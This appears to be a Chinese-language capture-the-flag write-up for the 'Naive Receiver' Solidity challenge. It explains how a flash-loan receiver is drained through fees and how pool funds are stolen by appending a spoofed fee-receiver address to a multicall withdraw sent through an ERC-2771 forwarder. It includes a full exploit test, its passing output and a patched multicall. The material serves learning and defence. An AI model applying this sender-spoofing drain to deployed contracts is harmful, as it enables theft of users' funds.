Skip to content

Latest commit

 

History

History
187 lines (159 loc) · 7.95 KB

File metadata and controls

187 lines (159 loc) · 7.95 KB

有一个池子里有 1000 WETH 余额,提供闪电贷。该池子收取固定费用为 1 WETH。这个池子通过与一个无权限的转发合约集成,支持元交易。

一个用户部署了一个样本合约,余额为 10 WETH。看起来这个合约可以执行 WETH 的闪电贷。

所有资金都有风险!需要将用户和池子里的所有 WETH 拯救出来,并存入指定的恢复账户。

解释: 题目要求需要清空资金池和接收者合约中的所有 WETH 到恢复账户。并且从测试文件可以看出,需要两次或更少的交易中完成挑战。

前置知识

ERC-2771 是元交易的标准。用户可以将交易的执行委托给第三方 Forwarder,通常称为中继器或转发器。
通常合约中直接调用者的地址是使用 msg.sender 获取的,但在使用了 ERC-2771 的情况下,如果 msg.sender 是转发器角色的话,那么会截断传入的 calldata 并获取最后 20 个字节来作为交易的直接调用者地址。

Multicall

Multicall 是一个智能合约库,其作用是允许批量执行多个函数调用,从而减少交易成本。这个库通常用于优化 DApp 的性能和用户体验,特别是当需要进行多个读取操作时。

合约分析

主要的三个合约是:
NaiveReceiverPool: 提供闪电贷的池子,有 1000 个 WETH 可提供,同时支持 Forwarder 和 Multi call,还具有存款和取款功能。
FlashLoanReceiver: 闪电贷接收者,初始余额 10 个 WETH。
BasicForwarder: 中继器合约,用来执行交易。

任务1:清空FlashLoanReceiver合约的资产。
FlashLoanReceiver 合约的 onFlashLoan 函数中,并没有对发起闪电贷的地址做检查,所以任何地址都可以发起以该合约为名义的闪电贷,那么通过将接收者合约作为目标发起闪电贷,由于手续费为 1 WETH,那么调用 10 次,即可以耗尽。并且可以使用 Multi call 在一笔交易中完成。

function onFlashLoan(address, address token, uint256 amount, uint256 fee, bytes calldata)
    external
    returns (bytes32)
{
    assembly {
        // gas savings
        if iszero(eq(sload(pool.slot), caller())) {
            mstore(0x00, 0x48f5c3ed)
            revert(0x1c, 0x04)
        }
    }

    if (token != address(NaiveReceiverPool(pool).weth())) revert NaiveReceiverPool.UnsupportedCurrency();

    uint256 amountToBeRepaid;
    unchecked {
        amountToBeRepaid = amount + fee;
    }

    _executeActionDuringFlashLoan();

    // Return funds to pool
    WETH(payable(token)).approve(pool, amountToBeRepaid);

    return keccak256("ERC3156FlashBorrower.onFlashLoan");
}

任务2:清空 NaiveReceiverPool 合约资产。
NaiveReceiverPool合约中取资产的方式有 withdraw,并且存款和取款使用了一个自定义的 _msgSender() 函数,在这个函数中是取中继器发来的 msg.data 的最后 20 个字节作为 msgSender 。正常来说,通过中继器调用NaiveReceiverPool合约时,会将真正的发送者的地址拼接到最后 20 字节,正常调用没什么问题。但是关键点在于,这个合约集成了 Forwarder 和 Multi call 功能,那么通过中继器调用 Multi call 时,虽然在最后拼接了真正的发送者地址,但是如果通过 Multi call 在调用不同的子调用,调用到 withdraw 函数时,调用者自己拼接上某个地址,此时 _msgSender() 函数会返回这个地址。中继器拼接上的地址将不会算在这次的子调用的 calldata 中。好的,此外那我们拼接的这个地址需要在 deposits 变量中有资产。

function withdraw(uint256 amount, address payable receiver) external {
    // Reduce deposits
    deposits[_msgSender()] -= amount;
    totalDeposits -= amount;

    // Transfer ETH to designated receiver
    weth.transfer(receiver, amount);
}

function deposit() external payable {
    _deposit(msg.value);
}

function _deposit(uint256 amount) private {
    weth.deposit{value: amount}();

    deposits[_msgSender()] += amount;
    totalDeposits += amount;
}

function _msgSender() internal view override returns (address) {
    if (msg.sender == trustedForwarder && msg.data.length >= 20) {
        return address(bytes20(msg.data[msg.data.length - 20:]));
    } else {
        return super._msgSender();
    }
}

之后仔细看 flashLoan 函数,发现手续费接收地址 feeReceiver 是会增加 deposits 的。并且根据测试文件和构造函数,可以看出 deployerfeeReceiver 是同一个地址。

function flashLoan(IERC3156FlashBorrower receiver, address token, uint256 amount, bytes calldata data)
    external
    returns (bool)
{
    if (token != address(weth)) revert UnsupportedCurrency();

    // Transfer WETH and handle control to receiver
    weth.transfer(address(receiver), amount);
    totalDeposits -= amount;

    if (receiver.onFlashLoan(msg.sender, address(weth), amount, FIXED_FEE, data) != CALLBACK_SUCCESS) {
        revert CallbackFailed();
    }

    uint256 amountWithFee = amount + FIXED_FEE;
    weth.transferFrom(address(receiver), address(this), amountWithFee);
    totalDeposits += amountWithFee;

    deposits[feeReceiver] += FIXED_FEE;

    return true;
}

题解

基于上述分析,我们可以得出攻击方法:

  1. 调用中继器 forwarder 合约执行后面的交易。
  2. 中继器调用 multicall 函数,并且在 call data 中填入调用 10 次闪电贷,和调用一次 withdraw
  3. 并且在 call data 最后拼上 feeReceiver 地址。

调用 forwarder 之前还需要拼好签名。测试代码如下:

function test_naiveReceiver() public checkSolvedByPlayer {
    bytes[] memory callDatas = new bytes[](11);
    for(uint i = 0; i < 10; i++){
        callDatas[i] = abi.encodeCall(NaiveReceiverPool.flashLoan, (receiver, address(weth), 0, "0x"));
    }
    callDatas[10] = abi.encodePacked(abi.encodeCall(NaiveReceiverPool.withdraw, (WETH_IN_POOL + WETH_IN_RECEIVER, payable(recovery))),
        bytes32(uint256(uint160(pool.feeReceiver())))
    );
    bytes memory callData;
    callData = abi.encodeCall(pool.multicall, callDatas);
    BasicForwarder.Request memory request = BasicForwarder.Request(
        player,
        address(pool),
        0,
        30000000,
        forwarder.nonces(player),
        callData,
        block.timestamp
    );
    bytes32 requestHash = keccak256(
        abi.encodePacked(
            "\x19\x01",
            forwarder.domainSeparator(),
            forwarder.getDataHash(request)
        )
    );
    (uint8 v, bytes32 r, bytes32 s)= vm.sign(playerPk ,requestHash);
    bytes memory signature = abi.encodePacked(r, s, v);
    require(forwarder.execute(request, signature));
}

运行测试:

forge test --mp test/naive-receiver/NaiveReceiver.t.sol -vv

测试通过:

Ran 2 tests for test/naive-receiver/NaiveReceiver.t.sol:NaiveReceiverChallenge
[PASS] test_assertInitialState() (gas: 34878)
[PASS] test_naiveReceiver() (gas: 416956)
Suite result: ok. 2 passed; 0 failed; 0 skipped; finished in 15.46ms (7.34ms CPU time)

漏洞修复

可以修改 multicall 函数,如果是 forwarder 合约发来的调用,那么在每个子调用中都拼接上真正发送者地址。

function multicall(
    bytes[] calldata data
) external override returns (bytes[] memory results) {
    results = new bytes[](data.length);
    bytes memory __msgSender;
    if (msg.sender == trustedForwarder) {
        __msgSender = msg.data[msg.data.length - 20:];
    }
    for (uint256 i = 0; i < data.length;) {
        results[i] = Address.functionDelegateCall(
            address(this),
            abi.encodePacked(data[i], __msgSender)
        );
        unchecked {
          ++i;
        }
    }
    return results;
}